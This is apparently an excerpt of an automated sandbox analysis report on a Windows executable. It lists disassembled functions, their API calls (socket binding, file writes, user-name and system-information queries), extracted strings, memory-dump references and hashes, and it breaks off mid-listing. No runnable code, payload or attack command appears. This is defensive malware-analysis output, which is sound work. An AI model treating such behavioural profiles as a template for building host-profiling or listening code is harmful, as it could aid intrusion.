                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: f3a8ac631a50c7517289f4bdd04421b2fcdb40b6ae7396f80ce11541ebf180d6
                                                                                                                            • Instruction ID: 4b789e80c312d717053e1718578be21b4bda93ba74e0682d2cb51b61cfc3797d
                                                                                                                            • Opcode Fuzzy Hash: f3a8ac631a50c7517289f4bdd04421b2fcdb40b6ae7396f80ce11541ebf180d6
                                                                                                                            • Instruction Fuzzy Hash: 92D080F3C1450497F7D04660DC5B3DD3654D710703F580472E61AD5180D77DCBC54516
                                                                                                                            Function 004591C0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: 2285b5b19144f5e93c3e0fad1a31d3d08eeecc5703e81e7794b5b19f7a0bbdea
                                                                                                                            • Instruction ID: 968f4d3648a36b6d56c83a372ce872888c1d36e6b0d5526208a3353f3238fcfc
                                                                                                                            • Opcode Fuzzy Hash: 2285b5b19144f5e93c3e0fad1a31d3d08eeecc5703e81e7794b5b19f7a0bbdea
                                                                                                                            • Instruction Fuzzy Hash: FAD0C970D083288BDBE48B00C8457D8B739AB44711F2040E6C44E26340DB705ED8CF42

                                                                                                                            Non-executed Functions

                                                                                                                            Function 004559AF Relevance: 32.9, Strings: 26, Instructions: 382COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
                                                                                                                            • API String ID: 0-2457314740
                                                                                                                            • Opcode ID: 51cc5dd4a0505773d58008a3af6a977cc1fd49867898e67acedbf774e687b046
                                                                                                                            • Instruction ID: 2b5296cc09f776ee56c3fc4e3eb1fbe78fc97214c390254c39e42d08c2f48acf
                                                                                                                            • Opcode Fuzzy Hash: 51cc5dd4a0505773d58008a3af6a977cc1fd49867898e67acedbf774e687b046
                                                                                                                            • Instruction Fuzzy Hash: B8D18AA2D085949BF3108624DC48BFB7B79EF91310F1441FED84D96282D6BD5FCA8B26
                                                                                                                            Function 004553AB Relevance: 32.8, Strings: 26, Instructions: 329COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
                                                                                                                            • API String ID: 0-2457314740
                                                                                                                            • Opcode ID: be30cd5d24e83612cee96e90af8dd0da4ee497f638986b5a5ad3bd5f159b7893
                                                                                                                            • Instruction ID: 30332322a8e54b3e023129aa7ce2c0b70b0e7646b347a5142c8d52a8228092fe
                                                                                                                            • Opcode Fuzzy Hash: be30cd5d24e83612cee96e90af8dd0da4ee497f638986b5a5ad3bd5f159b7893
                                                                                                                            • Instruction Fuzzy Hash: EAC17BA2D085949BF7108624DC48BEB7B79EF91310F0440FED84D97281D6BE5FCA8B26
                                                                                                                            Function 00455A63 Relevance: 32.8, Strings: 26, Instructions: 326COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: L$L$P$V$W$a$a$a$b$c$d$e$i$i$l$o$o$r$r$r$r$t$t$t$u$y
                                                                                                                            • API String ID: 0-2457314740
                                                                                                                            • Opcode ID: 5d85686ddc3d3e66247cc49bc4ddf7519aec5d0c5a907c472f4f9df2e6c64046
                                                                                                                            • Instruction ID: 0e0c67b558cfbbbbade8b9ca08ea4c0ab7e052c6fcd544a8f49427f5c5b65d9f
                                                                                                                            • Opcode Fuzzy Hash: 5d85686ddc3d3e66247cc49bc4ddf7519aec5d0c5a907c472f4f9df2e6c64046
                                                                                                                            • Instruction Fuzzy Hash: D7C17BA2C085949BF7108624DC08BEB7B79DF91310F1440FED84DA7282D67E5FCA8B26
                                                                                                                            Function 00462680 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 108networkCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • socket.WS2_32(00000002,00000001,00000000), ref: 0046269D
                                                                                                                            • WSAGetLastError.WS2_32(?,?,?), ref: 004626AB
                                                                                                                            • htonl.WS2_32(?), ref: 004626DE
                                                                                                                            • htons.WS2_32(?), ref: 004626EB
                                                                                                                            • bind.WS2_32(?,00000002,00000010), ref: 004626FF
                                                                                                                            • WSAGetLastError.WS2_32 ref: 00462709
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ErrorLast$bindhtonlhtonssocket
                                                                                                                            • String ID: IP Address error: %d$RegisterWait error on port %d$bind error %d$listen error %d$socket error %d
                                                                                                                            • API String ID: 2854615169-3739442235
                                                                                                                            • Opcode ID: 0f4388618b513d5121d70d4e2a0651dbb9916d868d87a0e28b2f953ea0a4aab7
                                                                                                                            • Instruction ID: e1704938acae2aff03b872743df0dbb8ba0c3ac3fd0f29706fa67de04a650757
                                                                                                                            • Opcode Fuzzy Hash: 0f4388618b513d5121d70d4e2a0651dbb9916d868d87a0e28b2f953ea0a4aab7
                                                                                                                            • Instruction Fuzzy Hash: BD31C275600604ABC790AFB5AD0AE7F7768EF45711F10052FF902D6291EBB89904C7AE
                                                                                                                            Function 0045F0B0 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 160threadfiletimeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(004E94DC,?,?,?,00461C89,?,?,?,00410F7C), ref: 0045F0BB
                                                                                                                            • GetCurrentThread.KERNEL32 ref: 0045F0C3
                                                                                                                            • SetThreadPriority.KERNEL32(00000000,?,?,?,00461C89,?,?,?,00410F7C), ref: 0045F0CA
                                                                                                                            • CreateFileA.KERNEL32(004E93D0,40000000,00000001,00000000,00000004,80000080,00000000,?,?,?,00461C89,?,?,?,00410F7C), ref: 0045F0E7
                                                                                                                            • LeaveCriticalSection.KERNEL32(004E94DC,?,?,?,00461C89,?,?,?), ref: 0045F0FB
                                                                                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,?,00461C89,?,?,?), ref: 0045F110
                                                                                                                            • GetLocalTime.KERNEL32(00000000), ref: 0045F12F
                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 0045F159
                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 0045F160
                                                                                                                            • GetCurrentProcess.KERNEL32(00000000,00000001), ref: 0045F1D1
                                                                                                                            Strings
                                                                                                                            • Call Stack Information %d %#x(%d):, xrefs: 0045F23C
                                                                                                                            • start at %02d/%02d/%02d %02d:%02d:%02d, xrefs: 0045F1BC
                                                                                                                            • %#x(%d) %04d/%02d/%02d %02d:%02d:%02d> Stack Dump %d, xrefs: 0045F167
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CurrentThread$CriticalFileSection$CreateEnterLeaveLocalPointerPriorityProcessTime
                                                                                                                            • String ID: %#x(%d) %04d/%02d/%02d %02d:%02d:%02d> Stack Dump %d$Call Stack Information %d %#x(%d):$start at %02d/%02d/%02d %02d:%02d:%02d
                                                                                                                            • API String ID: 3081937209-2408048568
                                                                                                                            • Opcode ID: 205c1b7b69e346dbb21f96af7de3d920d1ee87738f15ee6f14142d6c67ca0be9
                                                                                                                            • Instruction ID: b9685cde4cf5274571026fcd92463ee003865aba4715824f472f08d41bc7fedc
                                                                                                                            • Opcode Fuzzy Hash: 205c1b7b69e346dbb21f96af7de3d920d1ee87738f15ee6f14142d6c67ca0be9
                                                                                                                            • Instruction Fuzzy Hash: 6C5191B9A00208EBCB04DFD5DC46FAEB7B4FF4C705F104059F906A7292D6389944CB69
                                                                                                                            Function 0045E300 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 72stringtimeCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetSystemTimeAsFileTime.KERNEL32(?), ref: 0045E31A
                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0045E32E
                                                                                                                            • lstrcpyA.KERNEL32(?,Unknown), ref: 0045E344
                                                                                                                            • GetUserNameA.ADVAPI32(?,?), ref: 0045E35C
                                                                                                                            • lstrcpyA.KERNEL32(?,Unknown), ref: 0045E372
                                                                                                                            • GetSystemInfo.KERNEL32(?), ref: 0045E39B
                                                                                                                            • GlobalMemoryStatus.KERNEL32(?), ref: 0045E3CB
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
